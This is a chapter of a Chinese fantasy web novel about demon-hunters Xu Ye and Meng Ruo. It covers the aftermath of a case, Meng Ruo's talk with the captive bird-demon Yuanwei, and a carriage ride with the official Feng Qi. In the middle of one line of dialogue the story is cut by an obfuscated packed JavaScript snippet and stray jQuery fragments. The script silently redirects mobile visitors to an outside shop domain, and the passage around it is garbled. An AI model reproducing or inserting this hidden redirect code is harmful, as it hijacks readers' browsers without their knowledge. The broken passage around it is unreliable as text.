13. 枣庄6
    徐野带着人赶到枣庄的时候,已经是深夜。

    当时他根据李贵的线索,调查到庆阳楼。虽然提前有所防备,尽量低调小心,带着手下和当初小南山一般,只作客人打扮。

    不想内有妖怪坐镇,把他们识破了。属下二死四伤,他也是靠着属下拼死相护才逃出来。幸而当时锁妖域掌使封栖路过庆阳楼,帮忙解决了追兵,他才得以存活。

    掌使无事不出锁妖域,徐野和他接触的次数屈指可数,不甚相熟,而他也今日才知,掌使的功力恐怖如斯。

    庆阳楼高手如云,个个出手毒辣,徐野吃过他们的厉害,打算自告奋勇带伤回去搬救兵。不想人家掌使并不放在眼里,提着斩妖剑只身闯进去,两剑三招,不仅把里面叛乱摆平了,还顺便把庆阳楼拆了。

    庆阳楼五十六根顶梁柱,一百零八扇窗户,几万块瓦片,登时碎成齑粉。

    而掌使仿佛是出门解决了一场小狗打架,事了拂衣去,拎着一盒东西,又独自一个走了。

    徐野偷眼去看,竟然是庆阳楼样式的盒子。外面密封了,上了锁,似乎是什么机密。

    捉妖人都知道案发现场的东西,可能是证物,万万不该私藏,哪怕是掌使。

    徐野都呆了,哪里顾得上身上的伤,爬起来,屁颠颠把那些犯人给剪绑了,装作忙碌,什么都没看到。

    后来等来援兵,把犯人带回去审讯,得知主犯——庆阳楼老板,已提前派人,去枣庄灭口。徐野就马不停蹄,又带着伤,忍着疼,随便包扎堵住血,就领着几个手下来枣庄。

    结果已知孟若提前来到,把全村村民都给救下,其中一个凶犯与其他几妖发生内哄,把同伙杀了之后利用妖术驱使马匹跑了。

    徐野只好把几具尸首带回交差,又分派了几个手下去枣林,帮忙把村民的尸首挖出来,好好再安葬,那片枣林,都中了妖毒,至少停半年的人骨,才能恢复本来面目。

    结出的果子,食用虽然并无大碍,但毕竟是吸收人骨长成的,人理伦常上过不去,也都打落下来,由在地上自行腐烂。

    小花妖这次看着就一点都不心疼了,巴不得这些没滋没味的鬼东西赶紧消失,偷偷问孟若:“亏这些鸟妖想出来,搞出这种东西,人怎么会喜欢吃?”

    “人和妖味觉不一样啊。妖觉得乏味,吃在人的嘴里,却是好吃的。”孟若道。

    “人可真奇怪,”小花妖突然转了个弯问道:“我们不去枣庄了吗?”

    “不用去了。哪怕现在去,也找不到你姐姐的踪迹,还不如回锁妖域,问那只骗子玄凤鸟更快。”

    正说着,孟若的马跑回来了。

    孟若抱着小花妖骑上马,小花妖看只有孟若的马跑回来,道:“你真把那村医放了?”

    “你猜。”孟若笑得古怪,也不回答,直到回到锁妖域,见到鸢尾才道出真相。

    原来孟若虽依着鸢尾的意愿把村医给放了,但是去得并不远,只在后山涧溪深处,就把他丢下了。

    “他中我下的毒粉,醒不过来。要是我不去解毒,捉妖人找到他只是时间问题。”孟若诈道。其实小花妖花瓣的毒,不比牙齿,只要时辰过了,毒自然就解了。

    鸢尾笑道:“我竟然看走眼了,你也是个有心眼的。你什么时候变成这样的?”

    孟若也笑道:“彼此彼此。当你把我当猴耍的时候,就该猜到会有这种结果。”

    “行吧,你不就是想知道那朵花妖的下落,放心,我是真的知道。”鸢尾道,“不过,你要保证他的安全。”

    孟若道:“你也放心。只要不是他自己想来救你,我绝不会透露他的消息。”

    此时牢房内鸦雀无声,域内的妖被封栖提点后,一直到现在都不敢高声。看到孟若来,更怂了,怕这货又把封栖那个瘟神引下来。

    鸢尾就把头贴近玄铁栏杆,道:“那朵花,现在百花楼。不过,你救不了她。”

    “没有我救不了的人。”

    “那你可以去试试看。”鸢尾道。

    孟若得到消息,起身要走,鸢尾突然道,“你当年就应该死在雪山。”

    孟若听了这话,心里只是一阵悲凉。

    当年她在雪山的时候,鸢尾是她为数不多的朋友。

    有一段时间,她们好到无话不谈。偷看人类的画本子,鸢尾看不懂人的字,她就一字一句读给她听,教她认字。山间玩耍的时候,孟若摘不到的果子,鸢尾会变成鸟身,飞到高处,甚至是悬崖边特意为她采摘。

    诸如此般的事情,多得数不胜数,只是时光过隙,多年未见的两人,却比陌生人还有生疏戒备。

    “鸢尾,我也希望我当时就死了。”

    这次孟若没再贸然行动,她先去找徐野商量。

    此时徐野左手绑着绷带,还在府衙桌案前挑灯夜写,许多的资料需要整理,孟若才走进来,就有一个下人捧着一叠子有半个人那么高的案宗走进来,摊放在桌面上,退下的时候,又带走另外桌角整理好的案宗。

    孟若突然觉得自己现在来贸然打扰,有些残忍了,“徐兄,这碗黑乎乎的是药吗?好像已经凉透了。”

    “该死,我忘记喝药了吗?”徐野抓耳挠腮,把一头乱糟糟的头发抓得更像鸡窝了,“我以为一个时辰前已经喝了。”

    孟若只好去帮他把手下叫来,吩咐再去热一碗送进来。

    徐野在孟若的监督下喝下药,才记起问孟若的来意。“瞧我这脑子,你大晚上来,肯定是有要事。我竟然让你做这些,真是该死。”

    “其实也没什么事,”烛火闪动下,徐野眼圈的红血丝,像是裹着眼球要拉扯出来似的,孟若小心道,“我就是心里好奇,这件案子接下来的走向?”

    “走向?嗯……就差梦玉街的几个青楼。已经安排了人守在那里,目前还没消息送回来呢。怎么,你有什么消息?”

    “我也打算跟进此案,所以特来问你一问。”

    徐野听了,急忙摆手道:“那地方女子去不得

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14111799|149732||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”

    “我可以去。”

    “不可不可,那地方邪性,凡是女子到那里,没一个能怀孕的。连捉奸的都不会往那去。这次我也只派了男手下去卧底。”

    徐野直白道:“没有良家女子去那的,别说只是路过,嘴上是连提都不敢提的。你固然大胆,不似一般女子。但别人一瞧,就瞧出半分了,哪还需要卧底?”

    孟若执意要去,“不就是良家女子,只要装一装,不就可以了?”

    “所谓良家女子,温良恭俭让,恕我直言,你哪个都不沾。”

    两人正僵持不下的时候,突然有手下人来报:“大人,掌使现在府外,说‘若是你们大人担心我们锁妖域的人坏了事,大可把心放在肚子里,出了事,由本掌使一力承担’大人,掌使是这么说的,还叫孟大人出来呢,掌使在马车上等着。”

    孟若与徐野面面相觑,谁把他招来的?

    掌使下令,徐野就不好留孟若了,千送万送,直把她送到封栖的马车上,“孟大人已送到。掌使大人容禀,小人万万没有那个意思。若是今日没有孟大人,枣庄的那村人可就白白断送性命了。实乃大功之人,小的巴不得有孟大人的帮忙,尽情帮忙。诶……掌使这就走了?我还没说完……”

    孟若不忍一个伤患还要追马车,又见封栖已经合上眼不管了,就掀开窗帘,摆手催他回去,“我们大人刀子嘴豆腐心,都是无心的,不会真怪你,你回去吧。”

    徐野:……是不是缺心眼……这么一喊,就是无心也要成有心了。

    孟若不懂徐野的欲哭无泪,看到他体力不支,终于不再追了,才放下帘子,坐回马车垫子上。

    这是封栖的私驾,没有在外头挂上捉妖司的牌子,汇入马车流里,就是一辆寻常不过的马车。

    马车内有乾坤,孟若闲来无事,眼珠子就在几个暗格外打转,若是她的鼻子没有嗅错,这马车上应当藏了肉,还是用香料煮过,晒干制成的兔肉干。

    孟若忍不住吞咽口水,她平生没什么喜欢吃的,简直屈指可数,甜的不喜欢,酸的讨厌,辣的害怕,苦的生气,单只一样兔肉,喜欢得不得了。

    孟若脸皮厚,直接问道:“小的忙活了一天,都没吃过东西,可是饿坏了,掌使大人可有吃的,随便赏些来吃吃也好。”

    封栖眼也未睁开,只启唇道:“随你自取。”

    孟若就不再客气了,一下就找准了暗格,把里面的一碟子馅儿饼拿出来。

    模样倒是和之前在庆阳楼买的顶皮酥果馅儿饼大差不差,只是这个是兔肉馅儿的。

    孟若才拿在手里,还没吃呢,小花妖悄悄弯着枝干缠上来,不给吃就要闹。孟若只好先偷偷喂给小花妖一个,小花妖为了能连着吃,故意囫囵整个吞下去,只说不小心,没尝出味道,一定要再吃一个。

    这伎俩太过眼熟,孟若犹记在心,就不肯给了,正要自己吃,马车在此时停了。

    只听车夫在马车前道:“大人,到了。”